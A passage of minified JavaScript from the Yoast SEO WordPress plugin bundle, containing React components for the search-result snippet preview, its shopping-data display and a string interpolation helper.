itorFieldPlaceholder:null,containerPadding:"0 20px",titleInputId:"yoast-google-preview-title",slugInputId:"yoast-google-preview-slug",descriptionInputId:"yoast-google-preview-description"},t.default=g},95157:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.lengthProgressShape=void 0;var r,i=(r=n(85890))&&r.__esModule?r:{default:r};t.lengthProgressShape=i.default.shape({max:i.default.number,actual:i.default.number,score:i.default.number})},12330:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var r=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var n=d(t);if(n&&n.has(e))return n.get(e);var r={__proto__:null},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var o in e)if("default"!==o&&Object.prototype.hasOwnProperty.call(e,o)){var s=i?Object.getOwnPropertyDescriptor(e,o):null;s&&(s.get||s.set)?Object.defineProperty(r,o,s):r[o]=e[o]}return r.default=e,n&&n.set(e,r),r}(n(99196)),i=l(n(98487)),o=l(n(85890)),s=l(n(25853)),a=n(65736);function l(e){return e&&e.__esModule?e:{default:e}}function d(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(d=function(e){return e?n:t})(e)}const u=/mobi/i,p=i.default.div`
	overflow: auto;
	width: ${e=>e.widthValue}px;
	padding: 0 ${e=>e.paddingValue}px;
	max-width: 100%;
	box-sizing: border-box;
`,c=i.default.div`
	width: ${e=>e.widthValue}px;
`,f=i.default.div`
	text-align: center;
	margin: 1rem 0 0.5rem;
`,h=i.default.div`
	display: inline-block;
	box-sizing: border-box;

	&:before{
		display: inline-block;
		margin-right: 10px;
		font-size: 20px;
		line-height: 20px;
		vertical-align: text-top;
		content: "\\21c4";
		box-sizing: border-box;
	}
`;class g extends r.Component{constructor(e){super(e),this.state={showScrollHint:!1,isMobileUserAgent:!1},this.setContainerRef=this.setContainerRef.bind(this),this.determineSize=(0,s.default)(this.determineSize.bind(this),100)}setContainerRef(e){if(!e)return null;this._container=e,this.determineSize(),window.addEventListener("resize",this.determineSize)}determineSize(){var e,t,n,r;this.setState({showScrollHint:(null===(e=this._container)||void 0===e?void 0:e.offsetWidth)!==(null===(t=this._container)||void 0===t?void 0:t.scrollWidth),isMobileUserAgent:u.test(null===(n=window)||void 0===n||null===(r=n.navigator)||void 0===r?void 0:r.userAgent)})}componentWillUnmount(){window.removeEventListener("resize",this.determineSize)}render(){const{width:e,padding:t,children:n,className:i,id:o}=this.props,s=i||o,l=e-2*t;return r.default.createElement("div",{className:`${s}__wrapper`},r.default.createElement(p,{id:o,className:s,widthValue:e,paddingValue:t,ref:this.setContainerRef},r.default.createElement(c,{widthValue:l},n)),this.state.showScrollHint&&r.default.createElement(f,null,r.default.createElement(h,null,this.state.isMobileUserAgent?(0,a.__)("Drag to view the full preview.","wordpress-seo"):(0,a.__)("Scroll to see the preview content.","wordpress-seo"))))}}t.default=g,g.propTypes={id:o.default.string,width:o.default.number.isRequired,padding:o.default.number,children:o.default.node.isRequired,className:o.default.string},g.defaultProps={id:"",padding:0,className:""}},97775:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var r=p(n(99196)),i=p(n(85890)),o=p(n(98487)),s=p(n(12049)),a=n(81413),l=n(23695),d=n(37188),u=n(30888);function p(e){return e&&e.__esModule?e:{default:e}}const c=o.default.div`
	max-width: 600px;
	font-weight: normal;
	// Don't apply a bottom margin to avoid "jumpiness".
	margin: ${(0,l.getDirectionalStyle)("0 20px 0 25px","0 20px 0 15px")};
`,f=o.default.div`
	max-width: ${e=>e.panelMaxWidth};
`,h=(0,o.default)(a.Button)`
	min-width: 14px;
	min-height: 14px;
	width: 30px;
	height: 30px;
	border-radius: 50%;
	border: 1px solid transparent;
	box-shadow: none;
	display: block;
	margin: -44px -10px 10px 0;
	background-color: transparent;
	float: ${(0,l.getDirectionalStyle)("right","left")};
	padding: ${(0,l.getDirectionalStyle)("3px 0 0 6px","3px 0 0 5px")};

	&:hover {
		color: ${d.colors.$color_blue};
	}
	&:focus {
		border: 1px solid ${d.colors.$color_blue};
		outline: none;
		box-shadow: 0 0 3px ${(0,d.rgba)(d.colors.$color_blue_dark,.8)};

		svg {
			fill: ${d.colors.$color_blue};
			color: ${d.colors.$color_blue};
		}
	}
	&:active {
		box-shadow: none;
	}
`,g=(0,o.default)(a.SvgIcon)`
	&:hover {
		fill: ${d.colors.$color_blue};
	}
`;class m extends r.default.Component{constructor(e){super(e),this.state={isExpanded:!1},this.uniqueId=(0,s.default)("yoast-help-"),this.onButtonClick=this.onButtonClick.bind(this)}onButtonClick(){this.setState((e=>({isExpanded:!e.isExpanded})))}render(){const e=`${this.uniqueId}-panel`,{isExpanded:t}=this.state;return r.default.createElement(c,{className:this.props.className},r.default.createElement(h,{className:this.props.className+"__button",onClick:this.onButtonClick,"aria-expanded":t,"aria-controls":t?e:null,"aria-label":this.props.helpTextButtonLabel},r.default.createElement(g,{size:"16px",color:d.colors.$color_grey_text,icon:"question-circle"})),r.default.createElement(u.YoastSlideToggle,{isOpen:t},r.default.createElement(f,{id:e,className:this.props.className+"__panel",panelMaxWidth:this.props.panelMaxWidth},r.default.createElement(a.HelpText,null,this.props.helpText))))}}m.propTypes={className:i.default.string,helpTextButtonLabel:i.default.string.isRequired,panelMaxWidth:i.default.string,helpText:i.default.oneOfType([i.default.string,i.default.array])},m.defaultProps={className:"yoast-help",panelMaxWidth:null,helpText:""},t.default=m},72676:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var r=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var n=u(t);if(n&&n.has(e))return n.get(e);var r={__proto__:null},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var o in e)if("default"!==o&&Object.prototype.hasOwnProperty.call(e,o)){var s=i?Object.getOwnPropertyDescriptor(e,o):null;s&&(s.get||s.set)?Object.defineProperty(r,o,s):r[o]=e[o]}return r.default=e,n&&n.set(e,r),r}(n(99196)),i=d(n(85890)),o=d(n(98487)),s=n(65736),a=n(92819),l=n(81413);function d(e){return e&&e.__esModule?e:{default:e}}function u(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(u=function(e){return e?n:t})(e)}const p=o.default.span`
	color: #70757a;
	line-height: 1.7;
`;function c(e){const{shoppingData:t}=e,n=(0,s.sprintf)((0,s.__)("Rating: %s","wordpress-seo"),(0,a.round)(2*t.rating,1)+"/10"),i=(0,s.sprintf)((0,s.__)("%s reviews","wordpress-seo"),t.reviewCount);
/* Translators: %s expands to the actual rating, e.g. 8/10. */return r.default.createElement(p,null,t.reviewCount>0&&r.default.createElement(r.Fragment,null,r.default.createElement(l.StarRating,{rating:t.rating}),r.default.createElement("span",null," ",n," · "),r.default.createElement("span",null,i," · ")),t.price&&r.default.createElement(r.Fragment,null,r.default.createElement("span",{dangerouslySetInnerHTML:{__html:t.price}})),t.availability&&r.default.createElement("span",null,` · ${(0,a.capitalize)(t.availability)}`))}t.default=c,c.propTypes={shoppingData:i.default.shape({rating:i.default.number,reviewCount:i.default.number,availability:i.default.string,price:i.default.string}).isRequired}},98463:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var r=d(n(99196)),i=d(n(85890)),o=d(n(98487)),s=n(65736),a=n(92819),l=n(81413);function d(e){return e&&e.__esModule?e:{default:e}}const u=o.default.div`
	display: flex;
	margin-top: -16px;
	line-height: 1.6;
`,p=o.default.div`
	flex: 1;
	max-width: 50%;
`,c=o.default.div`
	flex: 1;
	max-width: 25%;
`,f=o.default.div`
	color: #70757a;
`;function h(e){const{shoppingData:t}=e;return r.default.createElement(u,null,t.rating>0&&r.default.createElement(p,{className:"yoast-shopping-data-preview__column"},r.default.createElement("div",{className:"yoast-shopping-data-preview__upper"},(0,s.__)("Rating","wordpress-seo")),r.default.createElement(f,{className:"yoast-shopping-data-preview__lower"},r.default.createElement("span",null,(0,a.round)(2*t.rating,1),"/10 "),r.default.createElement(l.StarRating,{rating:t.rating}),r.default.createElement("span",null," (",t.reviewCount,")"))),t.price&&r.default.createElement(c,{className:"yoast-shopping-data-preview__column"},r.default.createElement("div",{className:"yoast-shopping-data-preview__upper"},(0,s.__)("Price","wordpress-seo")),r.default.createElement(f,{className:"yoast-shopping-data-preview__lower",dangerouslySetInnerHTML:{__html:t.price}})),t.availability&&r.default.createElement(c,{className:"yoast-shopping-data-preview__column"},r.default.createElement("div",{className:"yoast-shopping-data-preview__upper"},(0,s.__)("Availability","wordpress-seo")),r.default.createElement(f,{className:"yoast-shopping-data-preview__lower"},(0,a.capitalize)(t.availability))))}t.default=h,h.propTypes={shoppingData:i.default.shape({rating:i.default.number,reviewCount:i.default.number,availability:i.default.string,price:i.default.string}).isRequired}},64475:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var r=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var n=E(t);if(n&&n.has(e))return n.get(e);var r={__proto__:null},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var o in e)if("default"!==o&&Object.prototype.hasOwnProperty.call(e,o)){var s=i?Object.getOwnPropertyDescriptor(e,o):null;s&&(s.get||s.set)?Object.defineProperty(r,o,s):r[o]=e[o]}return r.default=e,n&&n.set(e,r),r}(n(99196)),i=v(n(98487)),o=v(n(96746)),s=v(n(85890)),a=v(n(38550)),l=n(65736),d=n(37188),u=n(42982),p=n(23695),c=n(81413),f=v(n(12330)),h=v(n(72676)),g=v(n(98463)),m=n(99806);function v(e){return e&&e.__esModule?e:{default:e}}function E(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(E=function(e){return e?n:t})(e)}function b(){return b=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},b.apply(this,arguments)}const{transliterate:y,createRegexFromArray:x,replaceDiacritics:w}=u.languageProcessing,_=600,M=(0,i.default)(f.default)`
	background-color: #fff;
	font-family: arial, sans-serif;
	box-sizing: border-box;
`,S=i.default.div`
	border-bottom: 1px hidden #fff;
	border-radius: 8px;
	box-shadow: 0 1px 6px rgba(32, 33, 36, 0.28);
	font-family: Arial, Roboto-Regular, HelveticaNeue, sans-serif;
	max-width: ${400}px;
	box-sizing: border-box;
	font-size: 14px;
`,O=i.default.div`
	cursor: pointer;
	position: relative;
`;function P(e,t,n){return(0,i.default)(e)`
		&::before {
			display: block;
			position: absolute;
			top: 0;
			${(0,p.getDirectionalStyle)("left","right")}: ${()=>n===m.MODE_DESKTOP?"-22px":"-40px"};
			width: 22px;
			height: 22px;
			background-image: url( ${(0,p.getDirectionalStyle)((0,d.angleRight)(t),(0,d.angleLeft)(t))} );
			background-size: 24px;
			background-repeat: no-repeat;
			background-position: center;
			content: "";
		}
	`}const C=i.default.div`
	color: ${e=>e.screenMode===m.MODE_DESKTOP?"#1a0dab":"#1558d6"};
	text-decoration: none;
	font-size: ${e=>(e.screenMode,m.MODE_DESKTOP,"20px")};
	line-height: ${e=>e.screenMode===m.MODE_DESKTOP?"1.3":"26px"};
	font-weight: normal;
	margin: 0;
	display: inline-block;
	overflow: hidden;
	max-width: ${_}px;
	vertical-align: top;
	text-overflow: ellipsis;
`,D=(0,i.default)(C)`
	max-width: ${_}px;
	vertical-align: top;
	text-overflow: ellipsis;
`,T=i.default.span`
	display: inline-block;
	max-width: ${e=>e.screenMode===m.MODE_DESKTOP?240:100}px;
	overflow: hidden;
	vertical-align: top;

	text-overflow: ellipsis;
	margin-left: 4px;
`,R=i.default.span`
	white-space: nowrap;
`,A=i.default.span`
	display: inline-block;
	max-height: 52px; // max two lines of text
	padding-top: 1px;
	vertical-align: top;
	overflow: hidden;
	text-overflow: ellipsis;
`,F=i.default.div`
	display: inline-block;
	cursor: pointer;
	position: relative;
	width: calc( 100% + 7px );
	white-space: nowrap;
	font-size: 14px;
	line-height: 16px;
	vertical-align: top;
`;F.displayName="BaseUrl";const j=(0,i.default)(F)`
	display: flex;
	align-items: center;
	overflow: hidden;
	justify-content: space-between;
	text-overflow: ellipsis;
	max-width: 100%;
	margin-bottom: 12px;
	padding-top: 1px;
	line-height: 20px;
	vertical-align: bottom;
`;j.displayName="BaseUrlOverflowContainer";const N=i.default.span`
	font-size: ${e=>e.screenMode===m.MODE_DESKTOP?"14px":"12px"};
	line-height: ${e=>e.screenMode===m.MODE_DESKTOP?"1.3":"20px"};
	color: ${e=>e.screenMode===m.MODE_DESKTOP?"#4d5156":"#3c4043"};
	flex-grow: 1;
`,k=i.default.span`
	color: ${e=>e.screenMode===m.MODE_DESKTOP?"#4d5156":"#70757a"};
`,I=i.default.div`
width: 28px;
height: 28px;
margin-right: 12px;
border-radius: 50px;
display: flex;
align-items: center;
justify-content: center;
background: #f1f3f4;
min-width: 28px;
`;j.displayName="SnippetPreview__BaseUrlOverflowContainer";const L=i.default.div`
	color: ${e=>(e.isDescriptionPlaceholder,"#4d5156")};
	cursor: pointer;
	position: relative;
	max-width: ${_}px;
	padding-top: ${e=>e.screenMode===m.MODE_DESKTOP?"0":"1px"};
	font-size: 14px;
	line-height: 1.58;
`,V=i.default.div`
	color: ${"#3c4043"};
	font-size: 14px;
	cursor: pointer;
	position: relative;
	line-height: 1.4;
	max-width: ${_}px;

	/* Clearing pseudo element to contain the floated image. */
	&:after {
		display: table;
		content: "";
		clear: both;
	}
`,U=i.default.div`
	float: right;
	width: 104px;
	height: 104px;
	margin: 4px 0 4px 16px;
	border-radius: 8px;
	overflow: hidden;
`,B=i.default.img`
	/* Higher specificity is necessary to make sure inherited CSS rules don't alter the image ratio. */
	&&& {
		display: block;
		width: 104px;
		height: 104px;
		object-fit: cover;
	}
`,$=i.default.div`
	padding: 12px 16px;

	&:first-child {
		margin-bottom: -16px;
	}
`,W=i.default.div`
	line-height: 18x;
	font-size: 14px;
	color: black;
	max-width: ${e=>e.screenMode===m.MODE_DESKTOP?"100%":"300px"};
	overflow: hidden;
`,z=i.default.div`
`,H=i.default.span`
	display: inline-block;
	height: 18px;
	line-height: 18px;
	padding-left: 8px;
	vertical-align:bottom;
`,K=i.default.span`
	color: ${e=>e.screenMode===m.MODE_DESKTOP?"#777":"#70757a"};
`,q=i.default.img`
	width: 18px;
	height: 18px;
	margin: 0 5px;
	vertical-align: middle;
`,G=i.default.div`
	background-size: 100% 100%;
	display: inline-block;
	height: 12px;
	width: 12px;
	margin-bottom: -1px;
	opacity: 0.46;
	margin-right: 6px;
	background-image: url( ${"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACQAAAAkCAQAAABLCVATAAABr0lEQVR4AbWWJYCUURhFD04Zi7hrLzgFd4nzV9x6wKHinmYb7g4zq71gIw2LWBnZ3Q8df/fh96Tn/t2HVIw4CVKk+fSFNCkSxInxW1pFkhLmoMRjVvFLmkEX5ocuZuBVPw5jv8hh+iEU5QEmuMK+prz7RN3dPMMEGQYzxpH/lGjzou5jgl7mAvOdZfcbF+jbm3MAbFZ7VX9SJnlL1D8UMyjLe+BrAYDb+jJUr59JrlNWRtcqX9GkrPCR4QBAf4qYJAkQoyQrbKKs8RiaEjEI0GvvQ1mLMC9xaBFFBaZS1TbMSwJSomg39erDF+TxpCCNOXjGQJTCvG6qn4ZPzkcxA61Tjhaf4KMj+6Q3XvW6Lopraa8IozRQxIi0a7NXorULc5JyHX/3F3q+0PsFYytVTaGgjz/AvCyiegE69IUsPxHNBMpa738i6tGWlzkAABjKe/+j9YeRHGVd9oWRnwe2ewDASp/L/UqoPQ5AmFeYZMavBP8dAJz0GWWDHQlzXApMdz4KYUfKICcxkKeOfGmQyrIPcgE9m+g/+kT812/Nr3+0kqzitxQjoKXh6xfor99nlEdFjyvH15gAAAAASUVORK5CYII="} );
`,Y=e=>{try{return decodeURI(e)}catch(t){return e}},Q=({screenMode:e})=>r.default.createElement("svg",{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",fill:e===m.MODE_DESKTOP?"#4d5156":"#70757a",style:{width:"18px"}},r.default.createElement("path",{d:"M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2zm0 2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"}));Q.propTypes={screenMode:s.default.string.isRequired};class X extends r.PureComponent{constructor(e){super(e),this.state={title:e.title,description:e.description,isDescriptionPlaceholder:!0},this.setTitleRef=this.setTitleRef.bind(this),this.setDescriptionRef=this.setDescriptionRef.bind(this)}setTitleRef(e){this._titleElement=e}setDescriptionRef(e){this._descriptionElement=e}hasOverflowedContent(e){return Math.abs(e.clientHeight-e.scrollHeight)>=2}fitTitle(){const e=this._titleElement;if(this.hasOverflowedContent(e)){let t=this.state.title;const n=e.clientWidth/3;t.length>n&&(t=t.substring(0,n));const r=this.dropLastWord(t);this.setState({title:r})}}dropLastWord(e){const t=e.split(" ");return t.pop(),t.join(" ")}getTitle(){return this.props.title!==this.state.title?this.state.title+" ...":this.props.title}getDescription(){return this.props.description?(0,a.default)(this.props.description,{length:156,separator:" ",omission:" ..."}):(0,l.__)("Please provide a meta description by editing the snippet below. If you don’t, Google will try to find a relevant part of your post to show in the search results.","wordpress-seo")}renderDate(){const e=this.props.mode===m.MODE_DESKTOP?"—":"-";return this.props.date&&r.default.createElement(K,{screenMode:this.props.mode},this.props.date," ",e," ")}addCaretStyles(e,t){const{mode:n,hoveredField:r,activeField:i}=this.props;return i===e?P(t,d.colors.$color_snippet_active,n):r===e?P(t,d.colors.$color_snippet_hover,n):t}getBreadcrumbs(e){const{breadcrumbs:t}=this.props;let n;try{n=new URL(e)}catch(t){return{hostname:e,breadcrumbs:""}}const r=Y(n.hostname);let i=t||n.pathname.split("/");return i=i.filter((e=>Boolean(e))).map((e=>Y(e))),{hostname:r,breadcrumbs:" › "+i.join(" › ")}}renderUrl(){const{url:e,onMouseUp:t,onMouseEnter:n,onMouseLeave:i,mode:o,faviconSrc:s,siteName:a}=this.props,d=o===m.MODE_MOBILE,{hostname:u,breadcrumbs:p}=this.getBreadcrumbs(e),f=this.addCaretStyles("url",F);return r.default.createElement(r.default.Fragment,null,r.default.createElement(c.ScreenReaderText,null,/* translators: Hidden accessibility text. */
(0,l.__)("Url preview","wordpress-seo")+":"),r.default.createElement(f,null,r.default.createElement(j,{onMouseUp:t.bind(null,"url"),onMouseEnter:n.bind(null,"url"),onMouseLeave:i.bind(null),screenMode:o},r.default.createElement(I,null,r.default.createElement(q,{src:s||"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABs0lEQVR4AWL4//8/RRjO8Iucx+noO0MWUDo16FYABMGP6ZfUcRnWtm27jVPbtm3bttuH2t3eFPcY9pLz7NxiLjCyVd87pKnHyqXyxtCs8APd0rnyxiu4qSeA3QEDrAwBDrT1s1Rc/OrjLZwqVmOSu6+Lamcpp2KKMA9PH1BYXMe1mUP5qotvXTywsOEEYHXxrY+3cqk6TMkYpNr2FeoY3KIr0RPtn9wQ2unlA+GMkRw6+9TFw4YTwDUzx/JVvARj9KaedXRO8P5B1Du2S32smzqUrcKGEyA+uAgQjKX7zf0boWHGfn71jIKj2689gxp7OAGShNcBUmLMPVjZuiKcA2vuWHHDCQxMCz629kXAIU4ApY15QwggAFbfOP9DhgBJ+nWVJ1AZAfICAj1pAlY6hCADZnveQf7bQIwzVONGJonhLIlS9gr5mFg44Xd+4S3XHoGNPdJl1INIwKyEgHckEhgTe1bGiFY9GSFBYUwLh1IkiJUbY407E7syBSFxKTszEoiE/YdrgCEayDmtaJwCI9uu8TKMuZSVfSa4BpGgzvomBR/INhLGzrqDotp01ZR8pn/1L0JN9d9XNyx0AAAAAElFTkSuQmCC",alt:""})),r.default.createElement(N,{screenMode:o},r.default.createElement(W,{screenMode:o},a),r.default.createElement(k,{screenMode:o},u),r.default.createElement(T,{screenMode:o},p),!d&&r.default.createElement(H,null,r.default.createElement(Q,{screenMode:o}))),d&&r.default.createElement(Q,{screenMode:o}))))}componentDidUpdate(e){const t={};this.props.title!==e.title&&(t.title=this.props.title),this.props.description!==e.description&&(t.description=this.props.description),this.setState({...t,isDescriptionPlaceholder:!this.props.description}),this.props.mode===m.MODE_MOBILE&&(clearTimeout(this.fitTitleTimeout),this.fitTitleTimeout=setTimeout((()=>{this.fitTitle()}),10))}componentDidMount(){this.setState({isDescriptionPlaceholder:!this.props.description})}componentWillUnmount(){clearTimeout(this.fitTitleTimeout)}renderDescription(){const{wordsToHighlight:e,locale:t,onMouseUp:n,onMouseLeave:i,onMouseEnter:s,mode:a,mobileImageSrc:l}=this.props,d=this.renderDate(),u={isDescriptionPlaceholder:this.state.isDescriptionPlaceholder,onMouseUp:n.bind(null,"description"),onMouseEnter:s.bind(null,"description"),onMouseLeave:i.bind(null)};if(a===m.MODE_DESKTOP){const n=this.addCaretStyles("description",L);return r.default.createElement(n,b({},u,{ref:this.setDescriptionRef}),d,function(e,t,n,i){if(0===t.length)return n;let s=n;const a=[];t.forEach((function(t){a.push(t);const n=y(t,e);n!==t&&a.push(n)}));const l=x(a,!1,"",!1);return s=s.replace(l,(function(e){return`{{strong}}${e}{{/strong}}`})),(0,o.default)({mixedString:s,components:{strong:r.default.createElement("strong",null)}})}(t,e,this.getDescription()))}if(a===m.MODE_MOBILE){const e=this.addCaretStyles("description",V);return r.default.createElement(e,u,r.default.createElement(V,{isDescriptionPlaceholder:this.state.isDescriptionPlaceholder,ref:this.setDescriptionRef},l&&r.default.createElement(U,null,r.default.createElement(B,{src:l,alt:""})),d,this.getDescription()))}return null}renderProductData(e){const{mode:t,shoppingData:n}=this.props;if(0===Object.values(n).length)return null;const i={availability:n.availability||"",price:n.price?(0,p.decodeHTML)(n.price):"",rating:n.rating||0,reviewCount:n.reviewCount||0};return t===m.MODE_DESKTOP?r.default.createElement(e,{className:"yoast-shopping-data-preview--desktop"},r.default.createElement(c.ScreenReaderText,null,/* translators: Hidden accessibility text. */
(0,l.__)("Shopping data preview:","wordpress-seo")),r.default.createElement(h.default,{shoppingData:i})):t===m.MODE_MOBILE?r.default.createElement(e,{className:"yoast-shopping-data-preview--mobile"},r.default.createElement(c.ScreenReaderText,null,/* translators: Hidden accessibility text. */
(0,l.__)("Shopping data preview:","wordpress-seo")),r.default.createElement(g.default,{shoppingData:i})):null}render(){const{onMouseUp:e,onMouseLeave:t,onMouseEnter:n,mode:i,isAmp:o}=this.props,{PartContainer:s,Container:a,TitleUnbounded:d,SnippetTitle:u}=this.getPreparedComponents(i),p=i===m.MODE_DESKTOP,f=p||!o?null:r.default.createElement(G,null);return r.default.createElement("section",{className:"yoast-snippet-preview-section"},r.default.createElement(a,{id:"yoast-snippet-preview-container",className:"yoast-snippet-preview-container",width:p?640:null,padding:20},r.default.createElement(s,null,this.renderUrl(),r.default.createElement(c.ScreenReaderText,null,(0,l.__)("SEO title preview","wordpress-seo")+":"),r.default.createElement(u,{onMouseUp:e.bind(null,"title"),onMouseEnter:n.bind(null,"title"),onMouseLeave:t.bind(null)},r.default.createElement(D,{screenMode:i},r.default.createElement(d,{ref:this.setTitleRef},this.getTitle()))),f),r.default.createElement(s,null,r.default.createElement(c.ScreenReaderText,null,(0,l.__)("Meta description preview:","wordpress-seo")),this.renderDescription()),this.renderProductData(s)))}getPreparedComponents(e){return{PartContainer:e===m.MODE_DESKTOP?z:$,Container:e===m.MODE_DESKTOP?M:S,TitleUnbounded:e===m.MODE_DESKTOP?R:A,SnippetTitle:this.addCaretStyles("title",O)}}}t.default=X,X.propTypes={title:s.default.string.isRequired,url:s.default.string.isRequired,siteName:s.default.string.isRequired,description:s.default.string.isRequired,date:s.default.string,breadcrumbs:s.default.array,hoveredField:s.default.string,activeField:s.default.string,keyword:s.default.string,wordsToHighlight:s.default.array,locale:s.default.string,mode:s.default.oneOf(m.MODES),isAmp:s.default.bool,faviconSrc:s.default.string,mobileImageSrc:s.default.string,shoppingData:s.default.object,onMouseUp:s.default.func.isRequired,onHover:s.default.func,onMouseEnter:s.default.func,onMouseLeave:s.default.func},X.defaultProps={date:"",keyword:"",wordsToHighlight:[],breadcrumbs:null,locale:"en",hoveredField:"",activeField:"",mode:m.DEFAULT_MODE,isAmp:!1,faviconSrc:"",mobileImageSrc:"",shoppingData:{},onHover:()=>{},onMouseEnter:()=>{},onMouseLeave:()=>{}}},99806:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=t.MODE_MOBILE=t.MODE_DESKTOP=t.MODES=t.DEFAULT_MODE=void 0;const n=t.MODE_MOBILE="mobile",r=t.MODE_DESKTOP="desktop",i=t.MODES=[r,n],o=t.DEFAULT_MODE=n;t.default={MODE_MOBILE:n,MODE_DESKTOP:r,MODES:i,DEFAULT_MODE:o}},98141:(e,t,n)=>{"use strict";var r=n(64836);t.__esModule=!0,t.default=function(e,t){e.classList?e.classList.add(t):(0,i.default)(e,t)||("string"==typeof e.className?e.className=e.className+" "+t:e.setAttribute("class",(e.className&&e.className.baseVal||"")+" "+t))};var i=r(n(90404));e.exports=t.default},90404:(e,t)=>{"use strict";t.__esModule=!0,t.default=function(e,t){return e.classList?!!t&&e.classList.contains(t):-1!==(" "+(e.className.baseVal||e.className)+" ").indexOf(" "+t+" ")},e.exports=t.default},10602:e=>{"use strict";function t(e,t){return e.replace(new RegExp("(^|\\s)"+t+"(?:\\s|$)","g"),"$1").replace(/\s+/g," ").replace(/^\s*|\s*$/g,"")}e.exports=function(e,n){e.classList?e.classList.remove(n):"string"==typeof e.className?e.className=t(e.className,n):e.setAttribute("class",t(e.className&&e.className.baseVal||"",n))}},96746:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},i=a(n(99196)),o=a(n(49156)),s=a(n(76743));function a(e){return e&&e.__esModule?e:{default:e}}var l=void 0;function d(e,t){var n,s,a,u,p,c,f,h,g=[],m={};for(c=0;c<e.length;c++)if("string"!==(p=e[c]).type){if(!t.hasOwnProperty(p.value)||void 0===t[p.value])throw new Error("Invalid interpolation, missing component node: `"+p.value+"`");if("object"!==r(t[p.value]))throw new Error("Invalid interpolation, component node must be a ReactElement or null: `"+p.value+"`","\n> "+l);if("componentClose"===p.type)throw new Error("Missing opening component token: `"+p.value+"`");if("componentOpen"===p.type){n=t[p.value],a=c;break}g.push(t[p.value])}else g.push(p.value);return n&&(u=function(e,t){var n,r,i=t[e],o=0;for(r=e+1;r<t.length;r++)if((n=t[r]).value===i.value){if("componentOpen"===n.type){o++;continue}if("componentClose"===n.type){if(0===o)return r;o--}}throw new Error("Missing closing component token `"+i.value+"`")}(a,e),f=d(e.slice(a+1,u),t),s=i.default.cloneElement(n,{},f),g.push(s),u<e.length-1&&(h=d(e.slice(u+1),t),g=g.concat(h))),1===g.length?g[0]:(g.forEach((function(e,t){e&&(m["interpolation-child-"+t]=e)})),(0,o.default)(m))}t.default=function(e){var t=e.mixedString,n=e.components,i=e.throwErrors;if(l=t,!n)return t;if("object"!==(void 0===n?"undefined":r(n))){if(i)throw new Error("Interpolation Error: unable to process `"+t+"` because components is not an object");return t}var o=(0,s.default)(t);try{return d(o,n)}catch(e){if(i)throw new Error("Interpolation Error: unable to process `"+t+"` because of error `"+e.message+"`");return t}}},76743:e=>{"use strict";function t(e){return e.match(/^\{\{\//)?{type:"componentClose",value:e.replace(/\W/g,"")}:e.match(/\/\}\}$/)?{type:"componentSelfClosing",value:e.replace(/\W/g,"")}:e.match(/^\{\{/)?{type:"componentOpen",value:e.replace(/\W/g,"")}:{type:"string",value:e}}e.exports=function(e){return e.split(/(\{\{\/?\s*\w+\s*\/?\}\})/g).map(t)}},49156:(e,t,n)=>{"use strict";var r=n(99196),i="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103,o=n(47942),s=n(29179),a=n(70397),l=".",d=":",u="function"==typeof Symbol&&Symbol.iterator,p="@@iterator";function c(e,t){return e&&"object"==typeof e&&null!=e.key?(n=e.key,r={"=":"=0",":":"=2"},"$"+(""+n).replace(/[=:]/g,(function(e){return r[e]}))):t.toString(36);var n,r}function f(e,t,n,r){var o,a=typeof e;if("undefined"!==a&&"boolean"!==a||(e=null),null===e||"string"===a||"number"===a||"object"===a&&e.$$typeof===i)return n(r,e,""===t?l+c(e,0):t),1;var h=0,g=""===t?l:t+d;if(Array.isArray(e))for(var m=0;m<e.length;m++)h+=f(o=e[m],g+c(o,m),n,r);else{var v=function(e){var t=e&&(u&&e[u]||e[p]);if("function"==typeof t)return t}(e);if(v)for(var E,b=v.call(e),y=0;!(E=b.next()).done;)h+=f(o=E.value,g+c(o,y++),n,r);else if("object"===a){var x=""+e;s(!1,"Objects are not valid as a React child (found: %s).%s","[object Object]"===x?"object with keys {"+Object.keys(e).join(", ")+"}":x,"")}}return h}var h=/\/+/g;function g(e){return(""+e).replace(h,"$&/")}var m,v,E=b,b=function(e){var t=this;if(t.instancePool.length){var n=t.instancePool.pop();return t.call(n,e),n}return new t(e)};function y(e,t,n,r){this.result=e,this.keyPrefix=t,this.func=n,this.context=r,this.count=0}function x(e,t,n){var 